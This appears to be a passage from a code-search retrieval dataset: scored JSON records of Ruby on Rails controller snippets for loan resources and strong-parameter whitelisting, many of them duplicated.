}\r\n end\r\n end", "title": "" }, { "docid": "cf2244fc39abad20d3735536d24f7f89", "score": "0.7317012", "text": "def show\n @books_on_loan = BooksOnLoan.find(params[:id])\n respond_to do |format|\n format.json { render json: @books_on_loan }\n end\n end", "title": "" }, { "docid": "210d5a14b3d819092a611b3b837a16cb", "score": "0.730252", "text": "def index\n render json: Payment.where(loan_id: params[:loan_id])\n end", "title": "" }, { "docid": "0f156b0856f4927fdfd5f7e0544eb9c3", "score": "0.7286056", "text": "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "title": "" }, { "docid": "01ae3ffbd78f0ef96083fe53119b9735", "score": "0.72367734", "text": "def show\n @loan_detail = LoanDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loan_detail }\n end\n end", "title": "" }, { "docid": "113d4882698245ba154e75f45147eeb7", "score": "0.7234883", "text": "def show\n render json: @loan_payment, status: :ok\n end", "title": "" }, { "docid": "14efad4ed7535f939e17573ba5915f61", "score": "0.72264576", "text": "def show\n @payment = @loan.payments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @payment }\n end\n end", "title": "" }, { "docid": "43d0fc3ad2d930d7cb2b6bb223c9d783", "score": "0.72032773", "text": "def loan_payment_info\n payment = @loan.payments.where(id: params[:payment_id]).last\n render json: { error: \"Payment Not found\"} and return unless payment.present?\n\n render json: { loan_id: payment.loan.id, payment_amount: payment.amount, payment_made: payment.created_at}\n end", "title": "" }, { "docid": "f25213601922d4183089d3f8632f46d2", "score": "0.7196152", "text": "def show\n @loan_debt = LoanDebt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @loan_debt }\n end\n end", "title": "" }, { "docid": "3d4f63e524ba173a9387d9b5b5cea57b", "score": "0.7143124", "text": "def set_loan_detail\n @loan_detail = LoanDetail.find(params[:id])\n end", "title": "" }, { "docid": "be0ec3c5403d71489b2bcf8315c52266", "score": "0.7127393", "text": "def new\n @loan = @customer.loans.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "cdc0f6c37dac35faef5ddb6d4f366cde", "score": "0.71187276", "text": "def show\n @loan = Loan.status('all').find(params[:id])\n @pictures = @loan.featured_pictures(5) # for slideshow\n @other_loans = @loan.cooperative.loans.status('all').order(\"SigningDate DESC\") if @loan.cooperative\n @repayments = @loan.repayments.order('DateDue')\n\n respond_to do |format|\n format.html\n format.json { render :json => @loan }\n end\n end", "title": "" }, { "docid": "cece99b93ad9f96852507712b5e48e12", "score": "0.71029764", "text": "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @loan }\n end\n end", "title": "" }, { "docid": "c4dd7f7bd2d643b741bc550c79ebcc30", "score": "0.7098448", "text": "def new\n @loan_history = LoanHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan_history }\n end\n end", "title": "" }, { "docid": "44dfc6ad98e6b119733be73a1be73b44", "score": "0.709046", "text": "def by_loan_id\n loan_payments = LoanPayment.where(loan_id: params[:loan_id])\n if loan_payments.count > 0\n render json: loan_payments, status: :ok\n else\n render json: 'not_found', status: :not_found\n end\n \n end", "title": "" }, { "docid": "f31eb58a49bfc617148b955ea6bea6b9", "score": "0.7073199", "text": "def index\n @loan_payments = LoanPayment.all\n render json: @loan_payments, status: :ok\n end", "title": "" }, { "docid": "695df690194b6006da54112253c59d10", "score": "0.7073093", "text": "def show\n @loan_permission = LoanPermission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan_permission }\n end\n end", "title": "" }, { "docid": "7d842e9989b5a8be3b7ccdd04b962b0a", "score": "0.70423764", "text": "def new\n\n # get loan detil\n\n @loan_payment = LoanPayment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan_payment }\n end\n end", "title": "" }, { "docid": "272f1ec9fdeb7f65ac9439557b0725c4", "score": "0.7012781", "text": "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loan }\n end\n end", "title": "" }, { "docid": "e428ec1fdbba4190ffa5417cc2565bd4", "score": "0.6860934", "text": "def show\n if Loan.find(params[:id])\n start_loan = Loan.find(params[:id]).funded_amount\n bal = start_loan - Payment.sum(:amount)\n total = Payment.count\n\n render json: {starting_loan_amount: start_loan ,outstanding_balance: bal, total_pmts: total }.to_json\n else\n render json: {status: 'error'}\n end\n end", "title": "" }, { "docid": "71542fbaad232700dc9048924f316184", "score": "0.67941105", "text": "def new\n @loan_debt = LoanDebt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @loan_debt }\n end\n end", "title": "" }, { "docid": "52a216408137e27902ba7bdeb1645442", "score": "0.6766401", "text": "def loan\n Loan.find_by_id(self.loan_id)\n end", "title": "" }, { "docid": "8c8154e260f68e177f15be37d51fc920", "score": "0.673816", "text": "def new\r\n @applied_loan = AppliedLoan.new(:employee_id=>params[:employee_id])\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @applied_loan }\r\n end\r\n end", "title": "" }, { "docid": "37acfdbedf356bc08a0cee28e675dcb7", "score": "0.67241025", "text": "def index\n @loan_inquiry_details = LoanInquiryDetail.all\n end", "title": "" }, { "docid": "8669b019bf023ecf4cad29d41b1d0219", "score": "0.671747", "text": "def new\n @loan_permission = LoanPermission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan_permission }\n end\n end", "title": "" }, { "docid": "7a5b4ff585f41f5ef73cdfd5e19fdf9c", "score": "0.67096514", "text": "def new\n @books_on_loan = BooksOnLoan.new\n respond_to do |format|\n format.json { render json: @books_on_loan }\n end\n end", "title": "" }, { "docid": "1b3cca58edb183adc1568d95a1c51711", "score": "0.66970193", "text": "def show\n loan_funded = @loan.funded_amount\n outstanding_balance = loan_funded - @loan.total_loan_payments\n render json: { loan_funded: loan_funded, outstanding_balance: outstanding_balance }\n end", "title": "" }, { "docid": "f63b392ee3787a95b2243920e163c12b", "score": "0.66629094", "text": "def create\n @loan_detail = LoanDetail.new(params[:loan_detail])\n\n respond_to do |format|\n if @loan_detail.save\n format.html { redirect_to @loan_detail, notice: 'Loan detail was successfully created.' }\n format.json { render json: @loan_detail, status: :created, location: @loan_detail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @loan_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8f47c154541abfbcf20f81e7e6b6d5f", "score": "0.66515774", "text": "def index\n @payments = @loan.payments.order(\"loan_id\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @payments }\n end\n end", "title": "" }, { "docid": "c6d96256d0f0429b326492a4c480fbfc", "score": "0.6640175", "text": "def index\n @loan_requests = LoanRequest.all\n end", "title": "" }, { "docid": "7dab762784d82f91ac84cc8cd3f23693", "score": "0.66112626", "text": "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loan }\n end\n end", "title": "" }, { "docid": "b5aa17ea705268fec4a7aac33e0d77ee", "score": "0.6604756", "text": "def index\n # @loans = Loan.all\n @loans = user_capabilities(Loan) #.recent_loans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loans }\n end\n end", "title": "" }, { "docid": "a78d66e835b8f13d4f39b1c558977836", "score": "0.6604402", "text": "def index\n #@loans = Loan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loans }\n end\n end", "title": "" }, { "docid": "1e671106e8a1146f6a1a1187c3ea9500", "score": "0.6602138", "text": "def show\n @malarialocationreport = Malarialocationreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @malarialocationreport }\n end\n end", "title": "" }, { "docid": "1e671106e8a1146f6a1a1187c3ea9500", "score": "0.6602138", "text": "def show\n @malarialocationreport = Malarialocationreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @malarialocationreport }\n end\n end", "title": "" }, { "docid": "0583029e67f78b0614352864aad4654e", "score": "0.6593853", "text": "def create\n @loan = Loan.new(loan_params)\n\n if @loan.save\n render :show, status: :created, location: @loan\n else\n render json: @loan.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "bb43902b83acb5f78f271618bbc787c7", "score": "0.6583542", "text": "def show\n @loans = @loan_search.loans\n\n respond_to do | format |\n format.html { render 'loans/index' }\n end\n end", "title": "" }, { "docid": "b0642820921143f52f42727232439bf3", "score": "0.6555467", "text": "def new\n @loan_type = LoanType.new\n\n render :layout => false\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan_type }\n end\n end", "title": "" }, { "docid": "4a84518f9d1c80b6100fcd0b7e8be9ab", "score": "0.65535635", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "4a84518f9d1c80b6100fcd0b7e8be9ab", "score": "0.65535635", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "4a84518f9d1c80b6100fcd0b7e8be9ab", "score": "0.65535635", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "94258275fbae498a61d3e9c800e5fcd0", "score": "0.6537391", "text": "def show\n @loan_transaction = LoanTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loan_transaction }\n end\n end", "title": "" }, { "docid": "ce38cc9ff3624c90257a8c6a67494eed", "score": "0.6517956", "text": "def show\n @lop_mon_hoc = LopMonHoc.find(params[:id])\n\n respond_to do |format| \n format.json { render json: @lop_mon_hoc }\n end\n end", "title": "" }, { "docid": "a8fdb813f551ba351e1d27458eb8de49", "score": "0.6515058", "text": "def show\n @loanapp = Loanapp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loanapp }\n end\n end", "title": "" }, { "docid": "1f4d983f0810e17d8f1c7f1ca5daf8ef", "score": "0.64988625", "text": "def set_loan\r\n @loan = Loan.find(params[:id])\r\n end", "title": "" }, { "docid": "f9551c16e8b1cc8c741d8442d19602e8", "score": "0.647902", "text": "def show\n @bankroll = Bankroll.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bankroll }\n end\n end", "title": "" }, { "docid": "601cab4f9a0a1bc8454b62e97851cfbd", "score": "0.6466531", "text": "def show\n @ledger = Ledger.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ledger }\n end\n end", "title": "" }, { "docid": "7023f6d05238355bd5d0c00c2d7283d7", "score": "0.6462995", "text": "def show\n @breadcrumb = 'read'\n @salary_concept = SalaryConcept.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @salary_concept }\n end\n end", "title": "" }, { "docid": "79e26c1c197cfeff6d501160b512dced", "score": "0.6438817", "text": "def show\n @salary_detail = SalaryDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @salary_detail }\n end\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "3abd4d02fb305d605587c649af8c0de5", "score": "0.643426", "text": "def set_loan\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "8d28605f008bebe25aa3b75423e3584b", "score": "0.6429433", "text": "def show\n @loans_credit_card = LoansCreditCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loans_credit_card }\n end\n end", "title": "" }, { "docid": "f1e54c4e63182cafa85d05cdecb65722", "score": "0.64144754", "text": "def show\n @asset_loan = AssetLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset_loan }\n end\n end", "title": "" }, { "docid": "dc20207785085c2de258a662375ef10f", "score": "0.64083797", "text": "def index\n @loan_payments = LoanPayment.all\n end", "title": "" }, { "docid": "ac7c3712d4f581d4f9203a60fdbdd8f9", "score": "0.6383082", "text": "def show\n @historial_odc = HistorialOdc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial_odc }\n end\n end", "title": "" }, { "docid": "1ef98584a16587479958e9e9503b544f", "score": "0.6380864", "text": "def show\n @ref_palm = RefPalm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_palm }\n end\n end", "title": "" }, { "docid": "66e6341d24be7644a05f07b56f220c09", "score": "0.6365315", "text": "def show\n # Finds a loan in the database with the id passed through\n # parameters, through the button that was clicked\n # and renders loans/show.html.erb\n @loan = Loan.find(params[:id])\n end", "title": "" }, { "docid": "babf4cfa06fe5c99663fc1db99668f60", "score": "0.6362618", "text": "def show\n @loyalty = Loyalty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loyalty }\n end\n end", "title": "" }, { "docid": "66619e7a7f74d398fce78046a3525b08", "score": "0.6355914", "text": "def show\n authorize @loan\n end", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "71bf612214f7160ff17d699977f554fc", "score": "0.0", "text": "def status_dummy_params\n params.require(:status_dummy).permit(:e_no)\n end", "title": "" } ]
[ { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.7121987", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.70541996", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.69483954", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6902367", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6733912", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6717838", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.6687021", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6676254", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.66612333", "text": "def filtered_parameters; end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6555296", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "7ac5f60df8240f27d24d1e305f0e5acb", "score": "0.6527056", "text": "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.6456324", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6450841", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.6450127", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.6447226", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6434961", "text": "def valid_params?; end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.64121825", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.64121825", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.63913447", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6373396", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.6360051", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.62856233", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.627813", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.62451434", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.6228103", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6224965", "text": "def check_params\n true\n end", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.6222941", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.6210244", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "ff55cf04e6038378f431391ce6314e27", "score": "0.62077755", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.61762565", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "0d980fc60b69d03c48270d2cd44e279f", "score": "0.61711127", "text": "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.6168448", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.6160164", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.61446255", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.6134175", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6120522", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "76d85c76686ef87239ba8207d6d631e4", "score": "0.6106709", "text": "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.60981655", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "2b19f8222e09c2518b0d19b4bf1f69d3", "score": "0.6076113", "text": "def list_params\n params.permit(:list_name)\n end", "title": "" }, { "docid": "aabfd0cce84d7f71b1ccd2df6a6af7c3", "score": "0.60534036", "text": "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "title": "" }, { "docid": "4f20d784611d82c07d49cf1cf0d6cb7e", "score": "0.60410434", "text": "def all_params; end", "title": "" }, { "docid": "5a96718b851794fc3e4409f6270f18fa", "score": "0.6034582", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "ff7bc2f09784ed0b4563cfc89b19831d", "score": "0.6029977", "text": "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "title": "" }, { "docid": "6c615e4d8eed17e54fc23adca0027043", "score": "0.6019861", "text": "def user_params\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "2032edd5ab9475d59be84bdf5595f23a", "score": "0.60184896", "text": "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "title": "" }, { "docid": "c59ec134c641678085e086ab2a66a95f", "score": "0.60157263", "text": "def permitted_params\n @wfd_edit_parameters\n end", "title": "" }, { "docid": "a8faf8deb0b4ac1bcdd8164744985176", "score": "0.6005857", "text": "def user_params\r\n end", "title": "" }, { "docid": "b98f58d2b73eac4825675c97acd39470", "score": "0.6003803", "text": "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.60012573", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.59955895", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.5994598", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.5993604", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "e4c37054b31112a727e3816e94f7be8a", "score": "0.5983824", "text": "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.5983166", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, 